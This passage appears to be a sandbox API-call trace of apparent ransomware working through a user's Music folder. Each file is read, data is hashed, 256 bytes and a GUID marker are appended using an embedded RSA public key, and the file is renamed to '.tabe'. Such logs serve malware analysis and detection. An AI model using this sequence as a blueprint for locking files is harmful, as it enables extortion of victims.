dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.142] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=18835) returned 1 [0127.142] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.143] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x496d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.143] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.145] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x4993, lpOverlapped=0x0) returned 1 [0127.146] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.146] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.146] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.146] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.146] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.146] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.146] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.146] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.147] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.147] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.147] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.147] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.147] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.147] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.147] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4993, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.147] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.147] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.147] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.147] CloseHandle (hObject=0x618) returned 1 [0127.148] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\gDmLp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\gdmlp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\gDmLp.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\gdmlp.m4a.tabe")) returned 1 [0127.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a7bf10, ftCreationTime.dwHighDateTime=0x1d5e386, ftLastAccessTime.dwLowDateTime=0xa517ca90, ftLastAccessTime.dwHighDateTime=0x1d5e3a0, ftLastWriteTime.dwLowDateTime=0xa517ca90, ftLastWriteTime.dwHighDateTime=0x1d5e3a0, nFileSizeHigh=0x0, nFileSizeLow=0x15f43, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="iScrPr4T7qf9bv_3HkrF.mp3", cAlternateFileName="ISCRPR~1.MP3")) returned 1 [0127.149] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\iScrPr4T7qf9bv_3HkrF.mp3") returned=".mp3" [0127.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\iScrPr4T7qf9bv_3HkrF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\iscrpr4t7qf9bv_3hkrf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.150] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=89923) returned 1 [0127.150] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.151] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15f1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.151] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.152] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x15f43, lpOverlapped=0x0) returned 1 [0127.153] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.153] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.153] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.153] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.154] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.154] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.154] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.154] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.154] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.154] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.154] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.154] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.154] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.154] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.155] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15f43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.155] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.155] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.155] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.155] CloseHandle (hObject=0x618) returned 1 [0127.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\iScrPr4T7qf9bv_3HkrF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\iscrpr4t7qf9bv_3hkrf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\iScrPr4T7qf9bv_3HkrF.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\iscrpr4t7qf9bv_3hkrf.mp3.tabe")) returned 1 [0127.158] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a9d370, ftCreationTime.dwHighDateTime=0x1d5e0f6, ftLastAccessTime.dwLowDateTime=0x944c3360, ftLastAccessTime.dwHighDateTime=0x1d5e40c, ftLastWriteTime.dwLowDateTime=0x944c3360, ftLastWriteTime.dwHighDateTime=0x1d5e40c, nFileSizeHigh=0x0, nFileSizeLow=0x155fa, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lgOiB-rT.wav", cAlternateFileName="")) returned 1 [0127.158] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\lgOiB-rT.wav") returned=".wav" [0127.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\lgOiB-rT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\lgoib-rt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.159] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=87546) returned 1 [0127.159] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.160] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x155d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.160] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.161] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x155fa, lpOverlapped=0x0) returned 1 [0127.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.162] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.163] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.163] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.163] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.163] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.163] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.163] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.163] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.163] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.163] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.163] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.164] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x155fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.164] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.164] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.164] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.164] CloseHandle (hObject=0x618) returned 1 [0127.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\lgOiB-rT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\lgoib-rt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\lgOiB-rT.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\lgoib-rt.wav.tabe")) returned 1 [0127.166] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f16250, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x426c2270, ftLastAccessTime.dwHighDateTime=0x1d5dd9b, ftLastWriteTime.dwLowDateTime=0x426c2270, ftLastWriteTime.dwHighDateTime=0x1d5dd9b, nFileSizeHigh=0x0, nFileSizeLow=0xd79c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="X6kUjM_qbGQhMX.m4a", cAlternateFileName="X6KUJM~1.M4A")) returned 1 [0127.166] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\X6kUjM_qbGQhMX.m4a") returned=".m4a" [0127.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\X6kUjM_qbGQhMX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\x6kujm_qbgqhmx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.167] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=55196) returned 1 [0127.167] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.168] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd776, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.168] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.170] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd79c, lpOverlapped=0x0) returned 1 [0127.178] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.178] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.178] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.178] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.179] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.179] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.179] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.179] CryptGetHashParam (in: hHash=0x3463888, 